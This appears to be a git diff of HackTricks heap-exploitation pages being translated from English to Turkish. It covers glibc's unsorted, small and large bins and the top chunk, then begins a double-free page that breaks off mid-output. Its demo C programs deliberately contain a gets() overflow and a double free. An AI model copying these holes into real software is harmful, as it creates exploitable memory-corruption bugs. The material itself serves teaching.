-### Unsorted bin +### Sıralanmamış kutu -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +Sıralanmamış kutu, bellek tahsisini daha hızlı hale getirmek için yığın yöneticisi tarafından kullanılan bir **önbellek**'tir. İşte nasıl çalıştığı: Bir program bir parça serbest bıraktığında ve bu parça bir tcache veya hızlı kutuda tahsis edilemiyorsa ve üst parçayla çakışmıyorsa, yığın yöneticisi hemen onu belirli bir küçük veya büyük kutuya koymaz. Bunun yerine, önce **komşu serbest parçalarla birleştirmeyi dener** ve daha büyük bir serbest bellek bloğu oluşturur. Ardından, bu yeni parçayı "sıralanmamış kutu" olarak adlandırılan genel bir kutuya yerleştirir. -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +Bir program **bellek istediğinde**, yığın yöneticisi **sıralanmamış kutuyu kontrol eder** ve yeterli boyutta bir parça olup olmadığını görür. Eğer bulursa, hemen kullanır. Eğer sıralanmamış kutuda uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına göre küçük veya büyük olan karşılık gelen kutularına taşır. -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +Daha büyük bir parça iki yarıya bölünürse ve geri kalan MINSIZE'den büyükse, sıralanmamış kutuya geri yerleştirileceğini unutmayın. -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +Yani, sıralanmamış kutu, yakın zamanda serbest bırakılan belleği hızlı bir şekilde yeniden kullanarak bellek tahsisini hızlandırmanın ve zaman alıcı arama ve birleştirme ihtiyaçlarını azaltmanın bir yoludur. > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> Farklı kategorilerdeki parçalar olsa bile, eğer mevcut bir parça başka bir mevcut parça ile çakışıyorsa (başlangıçta farklı kutulara ait olsalar bile), birleştirileceklerdir.
-Add a unsorted chunk example - +Sıralanmamış bir parça örneği ekle ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Not edin ki aynı boyutta 9 parça ayırıp serbest bırakıyoruz, böylece **tcache'i dolduruyoruz** ve sekizincisi **fastbin için çok büyük olduğu** için sıralanmamış kutuda saklanıyor ve dokuzuncusu serbest bırakılmadığı için dokuzuncu ve sekizinci **üst parçayla birleştirilmiyor**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın sıralanmamış kutuda olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
-### Small Bins +### Küçük Bins -Small bins are faster than large bins but slower than fast bins. +Küçük bins, büyük bins'lerden daha hızlıdır ancak hızlı bins'lerden daha yavaştır. -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +62 binin her biri **aynı boyutta parçalar** içerecektir: 16, 24, ... (32 bit'te maksimum boyut 504 bayt ve 64 bit'te 1024 bayttır). Bu, bir alanın tahsis edilmesi gereken binin bulunmasında ve bu listelerdeki girişlerin eklenip çıkarılmasında hız sağlar. -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +Küçük binin boyutu, binin indeksine göre şu şekilde hesaplanır: +- En küçük boyut: 2\*4\*indeks (örneğin, indeks 5 -> 40) +- En büyük boyut: 2\*8\*indeks (örneğin, indeks 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +Küçük ve büyük kutular arasında seçim yapmak için fonksiyon: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +Küçük bir parça örneği ekle ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +Not edin ki, aynı boyutta 9 parça ayırıp serbest bıraktığımızda, bunlar **tcache'i doldurur** ve sekizincisi **fastbin için çok büyük olduğu** için sıralanmamış kutuda saklanır ve dokuzuncusu serbest bırakılmadığı için dokuzuncu ve sekizinci **üst parçayla birleştirilmez**. Sonra 0x110 boyutunda daha büyük bir parça ayırdığımızda, **sıralanmamış kutudaki parça küçük kutuya geçer**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın küçük kutuda olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### Büyük kutular -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +Küçük kutulardan farklı olarak, her **büyük kutu bir dizi parça boyutunu yönetir**. Bu daha esnektir ve sistemin **çeşitli boyutları** ayrı bir kutuya ihtiyaç duymadan karşılamasına olanak tanır. -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +Bir bellek ayırıcıda, büyük kutular küçük kutuların bittiği yerden başlar. Büyük kutuların aralıkları giderek daha büyük hale gelir; bu, ilk kutunun 512 ile 576 byte arasındaki parçaları kapsayabileceği, bir sonraki kutunun ise 576 ile 640 byte arasındaki parçaları kapsayabileceği anlamına gelir. Bu desen devam eder ve en büyük kutu 1MB üzerindeki tüm parçaları içerir. -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +Büyük kutular, en iyi uyumu bulmak için **değişen parça boyutları listesini sıralayıp aramak zorunda olduklarından** küçük kutulara kıyasla daha yavaş çalışır. Bir parça büyük bir kutuya eklendiğinde, sıralanması gerekir ve bellek ayrıldığında sistem doğru parçayı bulmalıdır. Bu ek iş, onları **daha yavaş** hale getirir, ancak büyük ayırmalar küçük olanlardan daha az yaygın olduğundan, bu kabul edilebilir bir değiş tokuştur. -There are: +Şunlar vardır: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 64B aralığında 32 kutu (küçük kutularla çakışır) +- 512B aralığında 16 kutu (küçük kutularla çakışır) +- 4096B aralığında 8 kutu (kısmen küçük kutularla çakışır) +- 32768B aralığında 4 kutu +- 262144B aralığında 2 kutu +- Kalan boyutlar için 1 kutu
-Large bin sizes code - +Büyük kutu boyutları kodu ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +Büyük bir örnek ekle ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +2 büyük tahsis yapılır, ardından biri serbest bırakılır (bunu sıralanmamış kutuya koyar) ve daha büyük bir tahsis yapılır (serbest olanı sıralanmamış kutudan büyük kutuya taşır). -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın büyük kutuda olduğunu görebilirsiniz: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### Üst Parça ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +Temelde, bu mevcut olan tüm heap'i içeren bir parça. Bir malloc gerçekleştirildiğinde, kullanılacak herhangi bir boş parça yoksa, bu üst parça boyutunu azaltarak gerekli alanı sağlar.\ +Üst Parçaya işaretçi `malloc_state` yapısında saklanır. -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +Ayrıca, başlangıçta, sıralanmamış parçayı üst parça olarak kullanmak mümkündür.
-Observe the Top Chunk example - +Üst Parça örneğini gözlemleyin ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +`main`'in `ret` opcode'unda bir kesme noktası ile derleyip hata ayıkladıktan sonra, malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü ve bunların parçaları olduğunu gördüm: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +Üst parça `0xaaaaaaac1ae0` adresinde olduğu görülebilir. Bu sürpriz değil çünkü son tahsis edilen parça `0xaaaaaaac12a0` adresindeydi ve boyutu `0x410` idi ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +Ayrıca, Üst parçanın uzunluğunu parça başlığında görmek de mümkündür: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### Son Kalan -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +malloc kullanıldığında ve bir parça bölündüğünde (örneğin, sıralanmamış kutudan veya üst parçadan), bölünen parçanın geri kalanından oluşturulan parçaya Son Kalan denir ve işaretçisi `malloc_state` yapısında saklanır. -## Allocation Flow +## Tahsis Akışı -Check out: +Göz atın: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## Serbest Akışı -Check out: +Göz atın: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## Yığın Fonksiyonları Güvenlik Kontrolleri -Check the security checks performed by heavily used functions in heap in: +Yığında yaygın olarak kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Referanslar - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..9b7549595 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -2,91 +2,89 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +Eğer bir bellek bloğunu birden fazla kez serbest bırakırsanız, bu, ayırıcı verilerini bozabilir ve saldırılara kapı açabilir. İşte bu nasıl olur: bir bellek bloğunu serbest bıraktığınızda, bu, serbest parçaların bir listesine geri döner (örneğin, "hızlı kutu"). Eğer aynı bloğu ardışık olarak iki kez serbest bırakırsanız, ayırıcı bunu tespit eder ve bir hata fırlatır. Ancak eğer **araya başka bir parça serbest bırakırsanız, çift serbest bırakma kontrolü atlanır**, bu da bozulmaya neden olur. -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +Şimdi, yeni bellek talep ettiğinizde ( `malloc` kullanarak), ayırıcı size **iki kez serbest bırakılmış bir bloğu** verebilir. Bu, iki farklı işaretçinin aynı bellek konumuna işaret etmesine yol açabilir. Eğer bir saldırgan bu işaretçilerden birini kontrol ederse, o bellek içeriğini değiştirebilir, bu da güvenlik sorunlarına neden olabilir veya hatta kod çalıştırmalarına izin verebilir. +Örnek: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +Bu örnekte, tcache'i birkaç serbest bırakılmış parça (7) ile doldurduktan sonra, kod **`h` parçasını serbest bırakır, ardından `i` parçasını serbest bırakır ve sonra tekrar `h` parçasını serbest bırakır, bu da bir double free'e neden olur** (aynı zamanda Fast Bin dup olarak da bilinir). Bu, yeniden tahsis ederken üst üste binen bellek adresleri alma olasılığını açar, bu da iki veya daha fazla işaretçinin aynı bellek konumuna işaret edebileceği anlamına gelir. Bir işaretçi aracılığıyla verileri manipüle etmek, diğerini etkileyebilir ve bu da kritik bir güvenlik riski ve potansiyel bir istismar olanağı yaratır. -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +Bunu yürütürken, **`i1` ve `i2`'nin aynı adresi aldığını** not edin: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
Başlangıç tahsisleri:
 a: 0xaaab0f0c22a0
